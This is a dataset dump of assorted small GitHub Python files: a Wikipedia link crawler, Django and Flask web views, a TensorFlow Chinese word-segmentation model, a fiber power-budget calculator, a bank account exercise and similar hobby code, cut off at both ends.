'\" + second_page_title + \"'\")\n except:\n print(\"Invalid search query! Try again.\")\n main()\n\n # Loading pages\n print(\"Loading page data...\")\n first_page_wikis = wikipedia.page(\n title=first_page_title, pageid=None, auto_suggest=False, redirect=True, preload=False).links\n second_page_wikis = wikipedia.page(\n title=second_page_title, pageid=None, auto_suggest=False, redirect=True, preload=False).links\n\n # Running concurrent searches\n print(\"Crawling wikis...\")\n futures = []\n with concurrent.futures.ThreadPoolExecutor() as executor:\n first_search_path = executor.submit(\n search, first_page_title, second_page_title, first_page_wikis, 1)\n second_search_path = executor.submit(\n search, second_page_title, first_page_title, second_page_wikis, 1)\n\n futures.append(first_search_path)\n futures.append(second_search_path)\n\n # Waiting for match and outputting result\n for future in concurrent.futures.as_completed(futures):\n global not_done\n not_done = False\n if future.result() != None:\n if future.result() == 1:\n print(\"There is 1 degree of separation between '\" +\n first_page_title + \"' and \" + \"'\" + second_page_title + \"'\")\n else:\n print(\"There are \" + str(future.result()) + \" degrees of separation between '\" +\n first_page_title + \"' and \" + \"'\" + second_page_title + \"'\")\n\n\ndef search(start_page_title, end_page_title, wikis, degrees):\n while not_done:\n # Checking current degree for match\n if end_page_title in wikis:\n return degrees\n else:\n degrees += 1\n\n # Checking next degree & creating subsequent one\n new_wikis = []\n for wiki_page in wikis:\n if not not_done:\n return None\n else:\n print(\"Checking '\" + wiki_page + \"' on degree level \" + str(degrees),\n \"(\" + start_page_title + \" --> \" + end_page_title + \")\")\n\n try:\n sub_wikis = wikipedia.page(\n title=wiki_page, pageid=None, auto_suggest=True, redirect=True, preload=False).links\n\n if end_page_title in sub_wikis:\n return degrees\n\n new_wikis.extend(sub_wikis)\n except:\n continue\n\n # Removing duplicates\n new_wikis = list(dict.fromkeys(new_wikis))\n\n # Searching new list\n search(start_page_title, end_page_title, new_wikis, degrees)\n\n return None\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"iandraves/WikiWeb","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3357,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"12691861479","text":"from django.shortcuts import render,HttpResponse,redirect\nfrom . import models\nfrom django.contrib.auth.decorators import login_required\nfrom . import forms\n# Create your views here.\ndef shit_list(request):\n shits = models.Shit.objects.all().order_by('-date')\n args = {'shits':shits}\n return render(request, 'shit/shitlist.html',args)\n\n\ndef shit_detail(request,slug):\n # return HttpResponse(slug)\n shit = models.Shit.objects.get(slug=slug)\n return render(request, 'shit/shit_detail.html',{'shit':shit})\n\n@login_required(login_url=\"/accounts/login\")\ndef create_shit(request):\n if request.method == 'POST':\n form = forms.CreateShit(request.POST,request.FILES)\n if form.is_valid:\n instance = form.save(commit = False)\n instance.author = request.user\n instance.save()\n return redirect('shits:list')\n else:\n form = forms.CreateShit()\n return render(request, 'shit/shits/create_shit.html',{'form':form})\n","repo_name":"javad-hub/original-puffy","sub_path":"shit/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":991,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"11998403864","text":"__author__ = 'NLP-PC'\n# 配置文件\n\n# baseline classifier\nparameters = {\n\n # vectorizer参数选择\n 'min_df': 0, # 仅考虑频率出现在min_df之上的ngrams\n 'ngram_range': (1, 3), # ngram范围\n 'test_data_size': 10000, # 选择不同训练数据大小\n 'max_df': 0.8, # 除去太频繁出现的ngrams\n 'TF_binary': True, # 是否使用TF-IDF加权\n 'norm': 'l1', # 是否规格化\n 'sublinear_tf': True, # 是否对TF使用log(1+x)\n 'max_features': 5000,\n\n # feature type\n 'combine_feature': False, # 是否使用更多的特征\n\n # 分类器\n 'classifier': 'nb', # 贝叶斯或者svm分类器，目前svm还有问题\n\n # 是否对training_data分群\n 'clustering_training_data': True, # 具体参数设置在后面的if中\n\n # 是否对test_data分群\n 'clustering_test_data': False,\n\n}\nfrom Utils import preprocessor\nvectorizer_param={'preprocessor': preprocessor, 'ngram_range': parameters['ngram_range'], 'analyzer':'word',\n 'min_df':parameters['min_df'], 'max_df': parameters['max_df'],\n 'binary': parameters['TF_binary'], 'norm': parameters['norm'],'sublinear_tf': parameters['sublinear_tf'], 'max_features': parameters['max_features']}","repo_name":"candlewill/texts_sentiment_analysis","sub_path":"parameters.py","file_name":"parameters.py","file_ext":"py","file_size_in_byte":1282,"program_lang":"python","lang":"zh","doc_type":"code","stars":4,"dataset":"github-code","pt":"22"} +{"seq_id":"24375863203","text":"import tensorflow as tf\r\nimport numpy as np\r\nimport re\r\nimport time\r\n\r\n\r\n# 读取字典\r\nvocab = open('data/msr/msr_training_words.utf8').read().rstrip('\\n').split('\\n')\r\nvocab = list(''.join(vocab))\r\nstat = {}\r\nfor v in vocab:\r\n stat[v] = stat.get(v, 0) + 1\r\nstat = sorted(stat.items(), key=lambda x:x[1], reverse=True)\r\nvocab = [s[0] for s in stat]\r\n# 5167 个字\r\n# print(len(vocab))\r\n# 映射\r\nchar2id = {c : i + 1 for i, c in enumerate(vocab)}\r\nid2char = {i + 1 : c for i, c in enumerate(vocab)}\r\n# 不需要padding，任意长度输入\r\ntags = {'s': [1, 0, 0, 0], 'b': [0, 1, 0, 0], 'm': [0, 0, 1, 0], 'e': [0, 0, 0, 1]}\r\n\r\n\r\ndef load_data(path, batch_size=64):\r\n \"\"\"生成器实现\"\"\"\r\n data = open(path).read().rstrip('\\n')\r\n # 按标点符号和换行符分隔\r\n data = re.split('[，。！？、\\n]', data)\r\n\r\n # 准备数据\r\n X_data = []\r\n Y_data = []\r\n\r\n for sentence in data:\r\n sentence = sentence.split(' ')\r\n X = []\r\n Y = []\r\n\r\n try:\r\n for s in sentence:\r\n s = s.strip()\r\n # 跳过空字符\r\n if len(s) == 0:\r\n continue\r\n # s\r\n elif len(s) == 1:\r\n X.append(char2id[s])\r\n Y.append(tags['s'])\r\n elif len(s) > 1:\r\n # b\r\n X.append(char2id[s[0]])\r\n Y.append(tags['b'])\r\n # m\r\n for i in range(1, len(s) - 1):\r\n X.append(char2id[s[i]])\r\n Y.append(tags['m'])\r\n # e\r\n X.append(char2id[s[-1]])\r\n Y.append(tags['e'])\r\n except:\r\n continue\r\n else:\r\n if len(X) > 0:\r\n X_data.append(X)\r\n Y_data.append(Y)\r\n\r\n order = np.argsort([len(X) for X in X_data])\r\n X_data = [X_data[i] for i in order]\r\n Y_data = [Y_data[i] for i in order]\r\n\r\n current_length = len(X_data[0])\r\n X_batch = []\r\n Y_batch = []\r\n for i in range(len(X_data)):\r\n # 输出相同长度的序列的batch\r\n if len(X_data[i]) != current_length or len(X_batch) == batch_size:\r\n yield np.array(X_batch), np.array(Y_batch)\r\n current_length = len(X_data[i])\r\n X_batch = []\r\n Y_batch = []\r\n\r\n X_batch.append(X_data[i])\r\n Y_batch.append(Y_data[i])\r\n\r\n\r\n# model\r\nembedding_size = 128\r\n\r\nembeddings = tf.Variable(tf.random_uniform([len(char2id) + 1, embedding_size], -1.0, 1.0))\r\nX_input = tf.placeholder(dtype=tf.int32, shape=[None, None], name='X_input')\r\nembedded = tf.nn.embedding_lookup(embeddings, X_input)\r\n\r\n# 每一层卷积都没有改变序列长度，ksize=3，stride=1, padding='SAME'\r\nW_conv1 = tf.Variable(tf.random_uniform([3, embedding_size, embedding_size // 2], -1.0, 1.0))\r\nb_conv1 = tf.Variable(tf.random_uniform([embedding_size // 2], -1.0, 1.0))\r\nY_conv1 = tf.nn.relu(tf.nn.conv1d(embedded, W_conv1, stride=1, padding='SAME') + b_conv1)\r\n\r\nW_conv2 = tf.Variable(tf.random_uniform([3, embedding_size // 2, embedding_size // 4], -1.0, 1.0))\r\nb_conv2 = tf.Variable(tf.random_uniform([embedding_size // 4], -1.0, 1.0))\r\nY_conv2 = tf.nn.relu(tf.nn.conv1d(Y_conv1, W_conv2, stride=1, padding='SAME') + b_conv2)\r\n\r\nW_conv3 = tf.Variable(tf.random_uniform([3, embedding_size // 4, 4], -1.0, 1.0))\r\nb_conv3 = tf.Variable(tf.random_uniform([4], -1.0, 1.0))\r\nY_pred = tf.nn.softmax(tf.nn.conv1d(Y_conv2, W_conv3, stride=1, padding='SAME') + b_conv3, name='Y_pred')\r\n\r\nY_true = tf.placeholder(dtype=tf.float32, shape=[None, None, 4], name='Y_true')\r\n\r\ncross_entropy = tf.reduce_mean(-tf.reduce_sum(Y_true * tf.log(Y_pred + 1e-20), axis=[2]))\r\noptimizer = tf.train.AdamOptimizer().minimize(cross_entropy)\r\n\r\ncorrect_prediction = tf.equal(tf.argmax(Y_pred, 2), tf.argmax(Y_true, 2))\r\naccuracy = tf.reduce_mean(tf.cast(correct_prediction, tf.float32))\r\n\r\n\r\n# run\r\nsaver = tf.train.Saver()\r\nmax_test_acc = -np.inf\r\n\r\nepochs = 50\r\nsess = tf.Session()\r\nsess.run(tf.global_variables_initializer())\r\nfor e in range(epochs):\r\n train = load_data('data/msr/msr_training.utf8')\r\n accs = []\r\n i = 0\r\n t0 = int(time.time())\r\n for X_batch, Y_batch in train:\r\n sess.run(optimizer, feed_dict={X_input: X_batch, Y_true: Y_batch})\r\n i += 1\r\n if i % 100 == 0:\r\n acc = sess.run(accuracy, feed_dict={X_input: X_batch, Y_true: Y_batch})\r\n accs.append(acc)\r\n print('Epoch %d time %ds' % (e + 1, int(time.time()) - t0))\r\n print('- train accuracy: %f' % (np.mean(accs)))\r\n\r\n test = load_data('data/msr/msr_test_gold.utf8')\r\n accs = []\r\n for X_batch, Y_batch in test:\r\n acc = sess.run(accuracy, feed_dict={X_input: X_batch, Y_true: Y_batch})\r\n accs.append(acc)\r\n mean_test_acc = np.mean(accs)\r\n print('- test accuracy: %f' % mean_test_acc)\r\n\r\n if mean_test_acc > max_test_acc:\r\n max_test_acc = mean_test_acc\r\n print('Saving Model......')\r\n saver.save(sess, './msr_fcn/msr_fcn')\r\n\r\n\r\n# 分词。以下模型和bilstm的state状态序列不同，其它都一样\r\ndef viterbi(nodes):\r\n trans = {'be': 0.5, 'bm': 0.5, 'eb': 0.5, 'es': 0.5, 'me': 0.5, 'mm': 0.5, 'sb': 0.5, 'ss': 0.5}\r\n paths = {'b': nodes[0]['b'], 's': nodes[0]['s']}\r\n for l in range(1, len(nodes)):\r\n paths_ = paths.copy()\r\n paths = {}\r\n for i in nodes[l].keys():\r\n nows = {}\r\n for j in paths_.keys():\r\n if j[-1] + i in trans.keys():\r\n nows[j + i] = paths_[j] + nodes[l][i] + trans[j[-1] + i]\r\n nows = sorted(nows.items(), key=lambda x: x[1], reverse=True)\r\n paths[nows[0][0]] = nows[0][1]\r\n\r\n paths = sorted(paths.items(), key=lambda x: x[1], reverse=True)\r\n return paths[0][0]\r\n\r\n\r\ndef cut_words(data):\r\n data = re.split('[，。！？、\\n]', data)\r\n sens = []\r\n Xs = []\r\n for sentence in data:\r\n sen = []\r\n X = []\r\n sentence = list(sentence)\r\n for s in sentence:\r\n s = s.strip()\r\n if not s == '' and s in char2id:\r\n sen.append(s)\r\n X.append(char2id[s])\r\n\r\n if len(X) > 0:\r\n Xs.append(X)\r\n sens.append(sen)\r\n\r\n results = ''\r\n for i in range(len(Xs)):\r\n X_d = np.array([Xs[i]])\r\n Y_d = sess.run(Y_pred, feed_dict={X_input: X_d})\r\n\r\n nodes = [dict(zip(['s', 'b', 'm', 'e'], d)) for d in Y_d[0]]\r\n ts = viterbi(nodes)\r\n for x in range(len(sens[i])):\r\n if ts[x] in ['s', 'e']:\r\n results += sens[i][x] + '/'\r\n else:\r\n results += sens[i][x]\r\n\r\n return results[:-1]\r\n\r\n","repo_name":"RacleRay/Have_Fun","sub_path":"DNN_中文分词/cnn_rough_copy.py","file_name":"cnn_rough_copy.py","file_ext":"py","file_size_in_byte":6786,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"32578507015","text":"import sys\nsys.stdin = open('memory.txt', 'r')\n\nT = int(input())\nfor tc in range(1, T + 1):\n arr = list(map(int, input()))\n memory = [0] * len(arr)\n count = 0\n\n i = 0\n while arr != memory:\n if arr[i] != memory[i]:\n for j in range(i, len(memory)):\n memory[j] = arr[i]\n count += 1\n i += 1\n print('#{} {}'.format(tc, count))\n\n","repo_name":"toohong5/algorithm","sub_path":"d3/memory.py","file_name":"memory.py","file_ext":"py","file_size_in_byte":392,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"1927229381","text":"from flask import Flask, render_template, redirect, url_for\nfrom flask_pymongo import PyMongo\nfrom flask import Markup\nimport scrape_mars\n\n# Create an instance of Flask\napp = Flask(__name__)\n\n# Use PyMongo to establish Mongo connection\nmongo = PyMongo(app, uri=\"mongodb://localhost:27017/mars_info\")\n\n# Route to render index.html template using data from Mongo\n@app.route(\"/\")\ndef home():\n\n result_data = list(mongo.db.mars.find())\n article = result_data[0]['articles']\n main_photo = result_data[0]['main photo']\n weather = result_data[0]['weather']\n facts = Markup(result_data[0]['facts'])\n hires = result_data[0]['hi-res']\n return render_template('index.html', article=article, main_photo=main_photo, weather=weather, facts=facts, hires=hires)\n\n\n# Route that will trigger the scrape function\n@app.route(\"/scrape\")\ndef scrape():\n\n # Run the scrape function\n mars_data = scrape_mars.scrape()\n\n # Update the Mongo database using update and upsert=True \n mongo.db.mars.update({}, mars_data, upsert=True)\n\n # Redirect back to home page\n return redirect(\"/\")\n\n\nif __name__ == \"__main__\":\n app.run(debug=True)","repo_name":"phillkev/News","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"74305703095","text":"from django.http import HttpResponse\nfrom django.shortcuts import render\nimport json\nimport pandas as pd\nfrom . import FFF\nfrom . import chat\nfrom . import analysis_sql\nimport operator\nimport types\n# import translator\nfrom translate import Translator\nfrom . import movie_recommend\ncn_en={\"中国\":\"China\",\"美国\":\"United States\",\"意大利\":\"Italy\",\"黎巴嫩\":\"Lebanon\",\"印度\":\"India\",\"德国\":\"Germany\",\"日本\":\"Japan\",\"英国\":\"United Kingdom\",\"西班牙\":\"Spain\",\"爱尔兰\":\"Irelan\",\"俄罗斯\":\"Russia\",\"泰国\":\"Thailand\",\"墨西哥\":\"Mexico\",\"芬兰\":\"Finla\",\"比利时\":\"Belgium\",\"法国\":\"France\",\"匈牙利\":\"Hunga\",\"韩国\":\"Korea\",\"荷兰\":\"Netherlands\",\"苏联\":\"Russi\",\"越南\":\"Vietnam\"}\ndef hello(request):\n return HttpResponse(\"Hello world ! \")\ndef first(request):\n #左一图\n # l1=analysis_sql.GetYear_money()\n # l1[\"year\"].reverse()\n # l1[\"money\"].reverse()\n #左二图\n # l2=analysis_sql.GetTypes_box(2019)\n # l2=sorted(analysis_sql.GetTypes_box(2019).items(),key=operator.itemgetter(1),reverse=True)\n # namel2=[]\n # valuel2=[]\n # for i in range(5):\n # namel2.append(l2[i][0])\n # valuel2.append(l2[i][1])\n # l2={'name':namel2,'value':valuel2}\n #中间大图\n # zj=analysis_sql.GetCountry_box(2019)\n # namezj=[]\n # valuezj=[]\n # translator = Translator(from_lang=\"chinese\", to_lang=\"english\")\n # for i,j in zj.items():\n # print(i,j)\n # namezj.append(cn_en[i])\n # valuezj.append(j)\n # zj={\"name\":namezj,\"value\":valuezj}\n # print(zj)\n #下边第一个图\n # x1=analysis_sql.GetLen_movie()\n #右下角的图\n # right=analysis_sql.GetLrate_movie()\n return render(request,'analysis.html')\ndef ajax_handle(request):\n if request.method == \"POST\":\n name = request.POST.get('name')\n status = 1\n result = \"hhhhh\"\n return HttpResponse(json.dumps({\n \"status\": status,\n \"result\": result,\n \"data\":[1000, 300, 300, 900, 1500, 1200, 300],\n }))\ndef zhishi(request):\n dic = FFF.find_film(\"战狼2\")\n status = 1\n print(dic)\n return render(request,'zhishitupu.html',{\n \"status\": status,\n \"data\": dic[\"data\"],\n \"link\": dic[\"link\"],\n })\ndef appendnode(request):\n if request.method == \"POST\":\n type= request.POST.get('ty')\n name=request.POST.get('name')\n status=0\n dic={}\n if(type==\"2\"):#电影\n dic=FFF.find_film(name)\n status = 1\n if(type==\"1\"):#导演\n dic=FFF.find_person(name)\n status = 1\n if(type==\"0\"):#演员\n dic=FFF.find_person(name)\n status = 1\n if (type == \"3\"):#类型\n dic = FFF.find_type(name)\n status = 1\n print(dic[\"data\"])\n return HttpResponse(json.dumps({\n \"status\": status,\n \"data\": dic[\"data\"],\n \"link\": dic[\"link\"],\n }))\ndef search_node(request):\n if request.method == \"POST\":\n name=request.POST.get('name')\n status=1\n dic=FFF.find_film(name)\n print(len(dic[\"data\"]))\n if(len(dic[\"data\"])==0):\n dic=FFF.find_person(name)\n print(name)\n print(dic)\n if(len(dic[\"data\"])==0):\n dic=FFF.find_type(name)\n print(dic)\n return HttpResponse(json.dumps({\n \"status\": status,\n \"data\": dic[\"data\"],\n \"link\": dic[\"link\"],\n }))\ndef chatt(request):\n context={}\n context['hello']='Hello World!'\n temp=[\"I want to find a girlfriend\",\"hhh\",91,100]\n num=91\n return render(request,'chat.html', {\"name\":json.dumps(temp)})\ndef chat_response(request):\n if request.method == \"POST\":\n question = request.POST.get('txt')\n status = 1\n print(question)\n retxt=chat.questionInput(question)\n print(retxt,'retxt')\n return HttpResponse(json.dumps({\n \"status\": status,\n \"txt\": retxt,\n }))\ndef second(request):\n context = {}\n context['hello'] = 'Hello World!'\n temp = [\"I want to find a girlfriend\", \"hhh\", 91, 100]\n num = 91\n return render(request, 'analysis2.html', {\"name\": json.dumps(temp)})\ndef third(request):\n context = {}\n context['hello'] = 'Hello World!'\n temp = [\"I want to find a girlfriend\", \"hhh\", 91, 100]\n num = 91\n return render(request, 'analysis3.html', {\"name\": json.dumps(temp)})\ndef recommend(request):\n context = {}\n context['hello'] = 'Hello World!'\n temp = [\"I want to find a girlfriend\", \"hhh\", 91, 100]\n num = 91\n print(request)\n return render(request, 'recommend.html', {\"name\": json.dumps(temp)})\ndef ajax_recommend(request):\n uid=request.POST.get('uid')\n r=movie_recommend.getmovie(uid)\n status=1\n return HttpResponse(json.dumps({\n \"status\": status,\n \"url\": r[\"url\"],\n \"pic\": r[\"pic\"],\n }))","repo_name":"yjb6/MovieAnalysis-","sub_path":"MovieAnalysis/MovieAnalysis/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":4948,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"28505914350","text":"# importer math for senere at bruge funktionen ceil. Denne funktion runder værdien op til nærmeste hele tal.\r\n#global a er længden som gennem i denne variabel\r\nimport math\r\nglobal a\r\n\r\n#############################################################################################################\r\n\r\n# menu giver brugeren valgmuligheden for at vælge single mode, multi mode eller at stoppe denne beregner.\r\ndef menu():\r\n global valg\r\n global x\r\n global y\r\n print('''\r\n 1 - SM\r\n 2 - MM\r\n 0 - STOP BEREGNER''')\r\n valg=int(input())\r\n if valg==1:\r\n x=0.35\r\n y=0.2\r\n return længde()\r\n elif valg==2:\r\n x=2.5\r\n y=0.6\r\n return længde()\r\n elif valg==0:\r\n return stop()\r\n\r\n#længden indtastes her, hvis der er valgt multimode og længden smatidig overskrider 2 km vil en tekst fremkomme samt brugeren returneres til menu.\r\n# Ellers returneres der til statet passiver.\r\ndef længde():\r\n global a\r\n print('indtast længden på strækningen')\r\n a=int(input())\r\n if valg==2 and a>2:\r\n print('Overskrider 2km, vælg en SM')\r\n return menu()\r\n else: return Passiver()\r\n\r\n#passiver er et state hvor brugeren skal indtaste antal konnekteringer og splidsninger, ydermere bruges math funktionen her sammen med længden af fiberen,\r\n#til at fastlægge en reparations margin.\r\ndef Passiver():\r\n global sikkerhed\r\n global splids\r\n global kon, rep\r\n print('antal konnektore')\r\n kon=int(input())*0.5\r\n print('antal splidsninger')\r\n splids=int(input())*0.1\r\n sikkerhed=3\r\n rep=(math.ceil(a/10)*0.5)\r\n print('repmargin',rep,'dB')\r\n if valg==1:\r\n return sm_udregn()\r\n if valg==2:\r\n return mm_udregn()\r\n\r\n#udregner hvor stort overskud der skal være meller SFP sender og modtager på 850nm samt 1300nm,\r\n#der returneres til menu\r\ndef mm_udregn():\r\n print('for at kunne klare strækningen skal sfp modulerne have et brutto overskud på:')\r\n B850=splids+kon+(a*x)+sikkerhed+rep\r\n print('850nm =','%4.2f'%B850,'dB')\r\n B1300=splids+kon+(a*y)+sikkerhed+rep\r\n print('1300nm =','%4.2f'%B1300,'dB')\r\n return menu()\r\n\r\n#udregner hvor stort overskud der skal være meller SFP sender og modtager på 850nm samt 1300nm,\r\n#der returneres til menu\r\ndef sm_udregn():\r\n print('for at kunne klare strækningen skal sfp modulerne have et brutto overskud på:')\r\n B1310=splids+kon+(a*x)+sikkerhed+rep\r\n print('1310nm =','%4.2f'%B1310,'dB')\r\n B1550=splids+kon+(a*y)+sikkerhed+rep\r\n print('1550nm =','%4.2f'%B1550,'dB')\r\n return menu()\r\n\r\n#stop statet printer en tekst og returnere til None som i dette program stopper beregneren.\r\ndef stop():\r\n print('beregneren er stoppet')\r\n return None\r\nstate=menu()\r\nwhile state: state=menu()\r\n\r\n","repo_name":"reenberg89/Modul21_gp5","sub_path":"powerbudget projekt.py","file_name":"powerbudget projekt.py","file_ext":"py","file_size_in_byte":2791,"program_lang":"python","lang":"da","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"34083061584","text":"'''\nYou have been asked to make a special book categorization program, which assigns each book a special code based on its title.\nThe code is equal to the first letter of the book, followed by the number of characters in the title.\nFor example, for the book \"Harry Potter\", the code would be: H12, as it contains 12 characters (including the space).\n\nNote: Recall the readlines() method, which returns a list containing the lines of the file.\nAlso, remember that all lines, except the last one, contain a \\n at the end, which should not be included in the character count.\n'''\n\nfile = open(\"books.txt\", \"r\")\n\n#your code goes here\nlines = file.readlines()\nfor i in range(len(lines)-1):\n print(lines[i][0],len(lines[i])-1,sep=\"\",end=\"\\n\")\nprint(lines[len(lines)-1][0],len(lines[len(lines)-1]),sep=\"\")\n\n\nfile.close()","repo_name":"manjunath-97/256636-Python-DailyCommits","sub_path":"bookTitles.py","file_name":"bookTitles.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"9626749219","text":"import random\r\n\r\n\r\nMAX_LINE = 3 # GLOBAL CONSTANT\r\nMAX_BET= 100\r\nMIN_BET=1\r\n\r\nROW=3\r\nCOL=3# this are the reels that will have symbols within\r\n\r\n\r\nsymbol_count={\r\n \"A\":2,\r\n \"B\":4,\r\n \"C\":6,\r\n \"D\":8\r\n}\r\nsymbol_value={\r\n \"A\":5,\r\n \"B\":4,\r\n \"C\":3,\r\n \"D\":2\r\n}\r\n\r\ndef deposit():\r\n while True:\r\n amount = input('enter amount to be deposit $$$') # initially the amount will be string\r\n if amount.isdigit(): # we have checked whether the enter string is whole number or not\r\n amount = int(amount) # if the string is number then parse it or convert it into integer\r\n if amount > 0:\r\n break\r\n else:\r\n print(' amount should be greater than 0')\r\n else:\r\n print('enter a valid number')\r\n return amount\r\n\r\n\r\ndef num_of_lines():\r\n while True:\r\n lines = input('enter of line you want to bet on (1-' + str(MAX_LINE) + ')?')\r\n if lines.isdigit():\r\n lines = int(lines)\r\n if 1 <= lines <= MAX_LINE:\r\n break\r\n else:\r\n print('enter a valid line')\r\n else:\r\n print('please enter a number')\r\n return lines\r\n\r\n# amount to be bet on each line\r\ndef get_bet():\r\n while True:\r\n amount = input('enter amount to be bet on each line $$$') # initially the amount will be string\r\n if amount.isdigit(): # we have checked whether the enter string is whole number or not\r\n amount = int(amount) # if the string is number then parse it or convert it into integer\r\n if MIN_BET<=amount<= MAX_BET:\r\n break\r\n else:\r\n print(f'amount must be between ${MIN_BET} - ${MAX_BET}')# using f strings , only available in python 3.6 and above\r\n else:\r\n print('enter a valid number')\r\n return amount\r\n\r\ndef check_winnings(columns,lines,bet,value):\r\n winnings=0\r\n winnings_lines=[]\r\n for line in range(lines):\r\n symbol=columns[0][line]\r\n for column in columns:\r\n symbol_to_check=column[line]\r\n if symbol!=symbol_to_check:\r\n break\r\n else:# this else after for loop means that the code after the else block will be executed after the for loop is completed\r\n winnings+= value[symbol]* bet\r\n winnings_lines.append(line+1)\r\n return winnings,winnings_lines\r\n\r\n\r\n\r\ndef get_slot_machine_spin(rows,cols,symbols):# this part is bit tricky, need to give more time on it.\r\n\r\n all_symbol=[]\r\n for symbol,symbol_count in symbols.items():\r\n for _ in range(symbol_count):\r\n all_symbol.append(symbol)\r\n\r\n columns=[]\r\n for _ in range(cols):\r\n column=[]# this interior list gives the values of the items i.e individual row values in of our column\r\n current_symbols= all_symbol[:]# ':' operator copies the contents from main list, and put in secondary list\r\n for _ in range(rows):\r\n value= random.choice(current_symbols)\r\n current_symbols.remove(value)\r\n column.append(value)\r\n\r\n\r\n columns.append(column)\r\n return columns\r\n\r\n\r\ndef print_slot_machine(columns):\r\n for row in range(len(columns[0])):\r\n for i, column in enumerate(columns):\r\n if i!= len(columns) -1:\r\n print(column[row],end='|')\r\n else:\r\n print(column[row], end='')\r\n print()\r\n\r\ndef spin(balance):\r\n lines = num_of_lines()\r\n while True:\r\n bet = get_bet()\r\n total_bet = bet * lines\r\n if total_bet < balance:\r\n break\r\n else:\r\n print(\r\n 'you bet amount is greater then deposit amount!!! you cant bet , either increase your deposit amount or bet a lesser amount ')\r\n\r\n print(\r\n f' you have ${balance} in your gaming wallet and you have bet ${bet} on {lines} lines , so your total bet equals ${total_bet} ') # means if two lines gets matched you get double of your bet, if three lines you get 3x of bet\r\n slots = get_slot_machine_spin(ROW, COL, symbol_count)\r\n print_slot_machine(slots)\r\n\r\n winnings, winnings_lines = check_winnings(slots, lines, bet, symbol_value)\r\n print(f'you won ${winnings}')\r\n print(f'you won on lines :', *winnings_lines) # * operator pass all the line from the winning lines\r\n\r\n return winnings-total_bet\r\ndef main(): # even if the program ends, we can run the function\r\n balance = deposit()\r\n while True:\r\n print(f\"current balance is ${balance}\")\r\n answer= input('press enter to play(q to quit)')\r\n if answer=='q':\r\n break\r\n balance += spin(balance)\r\n print(f'you left with ${balance}')\r\n\r\nmain()\r\n","repo_name":"salvik43/slot-machine-using-python","sub_path":"slot machine python project/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4749,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"22"} +{"seq_id":"31729489126","text":"class BankAccount:\r\n\r\n def __init__(self, accountNumber, name, balance):\r\n self.accountNumber = accountNumber\r\n self.name = name\r\n self.balance = balance\r\n print('Wellcome to Skillevetion Banking System'.center(80))\r\n\r\n def deposit(self):\r\n dep = int(input('Enter Your amount to add: '))\r\n self.balance += dep\r\n print('You have deposit', dep, 'amount \\n your current balance is ', self.balance)\r\n\r\n\r\n def withdraw(self):\r\n witdrw = int(input(\"Enter amount to withdraw: \"))\r\n self.balance -= (witdrw+self.fee)\r\n print('You have withdraw', witdrw, 'amount \\n your current balance is ', self.balance)\r\n\r\n\r\n def bankfees(self):\r\n self.fee = self.balance * 0.05\r\n print('Fee for every withdraw transaction is', self.fee, ' \\n Your current balance is ', self.balance)\r\n\r\n def display(self):\r\n print(\"Account holder Name: \", acc.name, \"\\nAccount No: \", acc.accountNumber, \"\\nCurrent Balance:\", acc.balance)\r\n\r\n\r\nacc = BankAccount(1234, 'yasir', 5000)\r\nwhile True:\r\n ch = int(input(' 1: Deposit \\n 2: Withdraw \\n 3: Account details \\n 4: Bank fees \\n Select option :'))\r\n\r\n if ch == 1:\r\n acc.deposit()\r\n ex = input(\"Do you want Another Transaction ? Press 'y' or Any key for Exit\")\r\n if ex == 'y':\r\n continue\r\n else:\r\n exit()\r\n elif ch == 2:\r\n acc.withdraw()\r\n ex = input(\"Do you want Another Transaction ? Press 'y' or Any key for Exit\")\r\n if ex == 'y':\r\n continue\r\n else:\r\n exit()\r\n elif ch == 3:\r\n acc.display()\r\n ex = input(\"Do you want Another Transaction ? Press 'y' or Any key for Exit \")\r\n if ex == 'y':\r\n continue\r\n else:\r\n exit()\r\n elif ch == 4:\r\n acc.bankfees()\r\n ex = input(\"Do you want Another Transaction ? Press 'y' or Any key for Exit \")\r\n if ex == 'y':\r\n continue\r\n else:\r\n exit()\r\n else:\r\n print(\"Wrong Selection\")\r\n","repo_name":"YasirRai/Python-Task---PS1","sub_path":"Task - 12 ( 3 ) -BankAccount.py","file_name":"Task - 12 ( 3 ) -BankAccount.py","file_ext":"py","file_size_in_byte":2057,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"22"} +{"seq_id":"33072813254","text":"#!/usr/bin/env python3\n\n'''\n\nHelper for apps that use PDS databases (that were imported into\nSQLite3 databases)\n\n'''\n\nimport sqlite3\nimport os\n\n##############################################################################\n\ndef connect(filename):\n if not os.path.exists(filename):\n print(\"PDS SQLite3 database does not exist: {f}\".format(f=filename))\n exit(1)\n\n conn = sqlite3.connect(filename)\n cur = conn.cursor()\n\n return cur\n\n##############################################################################\n\ndef _get_column_names(cur, name, log):\n # Temporarily set the \"sqlite3.Row\" row factory so that we can get\n # the column names\n orig = cur.connection.row_factory\n cur.connection.row_factory = sqlite3.Row\n tmp_cur = cur.connection.cursor()\n\n result = tmp_cur.execute(\"SELECT * FROM {table} WHERE rowid=1\"\n .format(table=name))\n row = result.fetchone()\n\n names = row.keys()\n\n if log:\n log.debug(\"Table {table} columns: {names}\"\n .format(table=name, names=names))\n\n # Set the original row factory back\n cur.connection.row_factory = orig\n\n return names\n\n#-----------------------------------------------------------------------------\n\ndef read_table(cur, name, 